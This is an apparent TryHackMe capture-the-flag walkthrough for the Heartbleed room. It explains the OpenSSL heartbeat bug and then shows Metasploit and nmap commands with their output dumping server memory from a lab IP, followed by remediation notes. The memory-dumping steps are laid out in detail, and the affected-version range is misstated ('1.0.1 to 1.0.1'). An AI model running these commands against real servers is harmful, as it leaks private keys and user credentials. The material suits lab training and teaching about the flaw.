HeartBleed SSL Walktrough
Information that TryHackMe provides
Introduction to Heartbleed and SSL/TLS
On the internet today, most web servers are configured to use SSL/TLS. SSL(secure socket layer) is a predecessor to TLS(transport layer security). The most common versions are TLS 1.2 and TLS 1.3(recently released). Configuring a web server to use TLS means that all communication from that particular server to a client will be encrypted; any malicious third party that has access to this traffic will not be able to understand/decrypt the traffic, and they also will not be able to modify the traffic. To learn more about how TLS connections are established, check 1.2 and 1.3 out.
Heartbleed is a bug due to the implementation in the OpenSSL library from version 1.0.1 to 1.0.1 (which is very widely used). It allows a user to access memory on the server(which they usually wouldn’t have access to). This, in turn, allows a malicious user to access different kinds of information(that they wouldn’t usually have access to due to the encryption and integrity provided by TLS), including:
Server private key Confidential data like usernames, passwords, and other personal information
Analyzing the Bug
The implementation error occurs in the heartbeat message that OpenSSL uses to keep a connection alive even when no data is sent. A mechanism like this is important because if a connection dies/resets quite often, it would be expensive to set up the TLS aspect of the connection again; this affects the latency across the internet, and it would make using services slow for users. A heartbeat message sent by one end of the connection contains random data and the data’s length; this exact data is sent back when received by the other end of the connection. When the server retrieves this message from the client, here’s what it does:
The server constructs a pointer(memory location) to the heartbeat record It then copies the length of the data sent by a user into a variable(called payload) The length of this data is unchecked The server then allocates memory in the form of: 1 + 2 + payload + padding(this can be maximum of 1 + 2 + 65535 + 16) The server then creates another pointer(bp) to access this memory The server then copies the payload number of bytes from data sent by the user to the bp pointer The server sends the data contained in the bp pointers to the user. With this, you can see that the user controls the amount and length of data they send over. If the user does not send over any data(where the length is 0), it means that the server will copy arbitrary memory into the new pointer(which is how it can access secret information on the server). When retrieving data this way, the data can be different with different responses as the memory on the server will change.
Let’s approach this CTF
We have all the neccessary information about the payload and the bug right there presented from THMs explaination.
?are there exploits that we could use the scriptkiddie way?
A quick msfconsole search reveals two Heartbleed results.
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
1 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat (Heartbleed) Information Leak
2 \_ action: DUMP . . . Dump memory contents to loot
3 \_ action: KEYS . . . Recover private keys from memory
4 \_ action: SCAN . . . Check hosts for vulnerability
lets check details for auxiliary/scanner/ssl/openssl_heartbleed file:///tmp/openssl_heartbleed_doc20240826-875749-6oscqa.html
Install a vulnerable OpenSSL, start the service Start msfconsole Do: use auxiliary/scanner/ssl/openssl_heartbleed Do: set rhosts [ip] Do: set action [ACTION] Do: run
Action SCAN: Scan the host to see if it is vulnerable. If verbose is set to true, also print the memory that was dumped. This is the default. DUMP: Dump the memory and store it as loot. KEYS: Similar to DUMP but scan the results for the private key.
Lets try this
We start the THM Machine and see what happens when we sure the IP with a https://
image =
Metasploit:
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMPFILTER no Pattern to filter leaked memory before storing
LEAK_COUNT 1 yes Number of times to leak memory per SCAN or DUMP invocation
MAX_KEYTRIES 50 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS 18.201.57.74 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
STATUS_EVERY 5 yes How many retries until key dump status
THREADS 10 yes The number of concurrent threads (max one per host)
TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run
[+] 18.201.57.74:443 - Heartbeat response with leak, 46075 bytes
[*] 18.201.57.74:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Now we set the action Dump
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP
hexeditor /home/kali/.msf4/loot/20240826051518_default_18.201.57.74_openssl.heartble_157584.bin
image = hexdump
now lets do it for real
NMAP
nmap -p 443 –script ssl-heartbleed.nse -d -oA bleeb.bin 18.201.57.74
Well nmap is not writing a good output here. It detects everything correct but just no .bin file.
–
next I found this script: https://github.com/takeshixx/nmap-scripts/blob/master/ssl-heartbleed-dump.nse -> it says DUMP and uses the ssl-heartbleed inputs.
So I put the script under /usr/share/nmap/scripts/ssl-heartbleeb-dump.nse, initialized the namp script-db:
sudo nmap --script-updatedb
and ran the command as before with “-dump in the scriptname”
nmap -p 443 –script ssl-heartbleed-dump.nse -d -oA bleeb.bin 18.201.57.74
!!! it worked like a charme !!!
image = screenshot nmap
Remediation
Infos from THM:
To ensure that arbitrary data from the server isn’t copied and sent to a user, the server needs to check the length of the heartbeat message:
The server needs to check that the length of the heartbeat message sent by the user isn’t 0 The server needs to check the length doesn’t exceed the specified length of the variable that holds the data References:
http://heartbleed.com/ https://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html https://stackabuse.com/heartbleed-bug-explained/